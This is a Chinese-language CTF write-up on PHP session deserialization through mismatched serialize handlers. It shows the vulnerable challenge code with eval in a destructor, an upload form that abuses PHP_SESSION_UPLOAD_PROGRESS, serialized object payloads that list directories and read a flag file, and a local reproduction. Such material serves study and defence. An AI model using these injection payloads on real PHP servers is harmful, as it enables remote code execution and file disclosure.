PHP反序列化與Session

0x00前言:php

php存儲session有三種模式,php_serialize, php, binaryhtml

這裏着重討論php_serialize和php的不合理使用致使的安全問題java

關於session的存儲,java是將用戶的session存入內存中,而php則是將session以文件的形式存儲在服務器某個tmp文件中,能夠在php.ini裏面設置session.save_path存儲的位置web

 

設置序列化規則則是shell

注意,php_serialize在5.5版本後新加的一種規則,5.4及以前版本,若是設置成php_serialize會報錯數組

session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5以後啓用         它是用serialize反序列化格式分割

首先看session.serialize_handler = php序列化的結果安全

 

它的規則是$_SESSION是個數組,數組中的鍵和值中間用 | 來分割,值若是是數組或對象按照序列化的格式存儲服務器

 

而後看看session.serialize_handler = php_serialize的序列化結果session

它是全程按照serialize的格式序列化了$_SESSION這個數組函數

它比php的格式多了個最前面多了個 "a:2:{ ...." 也就是$_SESSION這個數組有2個元素,還有個區別在於,它的鍵名也代表了長度和屬性,中間用 ; 來隔開鍵值對

雖然2個序列化格式自己沒有問題,可是若是2個混合起用就會形成危害

造成原理是在用session.serialize_handler = php_serialize存儲的字符能夠引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時 "|"會被當成鍵值對的分隔符

好比,我先用php存了個數組,在$_SESSION['b']的值裏面加入 | ,並在以後寫成一個數組的序列化格式

 

若是正常的用php_serialize解析,它返回的是$_SESSION['b']是個長度爲44的字符串

 

若是用php進行解析,發現它理解爲一個很長的名字的值是一個帶了2個元素的數組

 

 

0x01一道CTF題目:

題目是道網上經常拿來作例子的一道php反序列化題目

題目鏈接:http://web.jarvisoj.com:32784/

源碼已經給出,以下

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

可以查看phpinfo,因而發現全局用的php_serialize進行序列化,而這個頁面是以php來進行解析的

那麼能夠利用上面的理論進行事先準備個$this->mdzz= 'payload' 進行攻擊

問題是怎麼將payload寫入session,這裏php有個上傳文件的會將文件名寫入session的技巧

https://bugs.php.net/bug.php?id=71101

原文意思大體要求知足如下2個條件就會寫入到session中

session.upload_progress.enabled = On
上傳一個字段的屬性名和session.upload_progress.name的值相,這裏根據上面的phpinfo信息看得出,值爲PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"

寫好腳本

<html>
<head>
    <title>upload</title>
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>

</html>

注意這裏 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能爲空

這裏根據題目的類,須要修改mdzz這個屬性,因而寫個php生成payload,由於看看phpinfo的禁用函數,能調用系統的函數都被ban了,因而只能用var_dump,scandir和file_get_contents來讀取flag

<?php
class OowoO
{
    public $mdzz = "var_dump(scandir('./'));";
   
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a = new OowoO();
echo serialize($a) . "<br>";
?>

生成payload

O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
固然這個是不行的,咱們要稍微改一下,"要轉義,前面加個|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}

先隨便傳個文件,把包抓下來,把文件名改爲咱們的payload

 

可以查看到根目錄的狀況了

 網上有個payload是直接用

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

我由於太菜最早沒想到,因而去看了下phpinfo的session的存放位置,有個/opt/lampp/估計是裝的的xampp這個集成的環境,而這個集成環境的web頁面放在htdocs目錄下的

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}

 看到flag文件了

接下來是讀取,這裏額外提一句file_put_contents和fie_get_contents可以使用php://filter僞協議,但這裏用var_dump導出來,不是文件包含,看下源碼就能找打答案

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}

 

0x03環境復現:

由於最早學習這道題的時候想看看session文件,因而在本地搭建了個環境

<?php
ini_set('session.serialize_handler', 'php');

session_start();
var_dump($_SESSION);
echo "<br>";
class test
{
    public $wd; 
    function __destruct()
    {
        eval($this->wd);
    }
}
?>

最早我用一個文件直接生產用php_serialize規則序列化並直接存在session中

而後訪問模擬搭建的頁面,漏洞可以利用成功

 

 

因而我改用文件上傳的形式,結果死活無法生成正確的session

再看看session文件,啥都沒寫入

這是爲何,想了一夜,看了看phpinfo的信息,上傳保留session的enabled是默認開啓的,session.upload_progress.name也是默認

 

上傳的html頁面能在上面的ctf題中成功運行,說明不是上傳的請求頭格式問題

payload若是寫入session文件中也能正常觸發phpinfo

可是如今的問題是session寫不進去,因而估計是配置問題了。

我再讀了遍:https://bugs.php.net/bug.php?id=71101

發現它給出它的運行環境的配置,因而我按照它的ini對應的配置,再配了遍本身的php.ini,發現不少配置都是被註釋掉的,也就是默認的值

最後成功執行了

 

 

 session文件也寫入了,能夠仔細看看寫的session文件內容

由於用php解析了,爲了使解析格式正確,它直接丟掉了些 },若是正常解析的話,能夠看出多了不少鍵值對,可是正是由於用php解析, |前面的全部字符都當作鍵名,然後面的payload則被反序列化,形成漏洞利用

 

再回到爲何以前不行,如今能夠運行的問題上,最後我測試了是 session.upload_progress.cleanup這個參數

session.upload_progress.cleanup = Off

這個要爲Off或者0,才能將上傳的內容保存到session,可是,php默認的是On,全部最早死活傳不上去

相關文章
相關標籤/搜索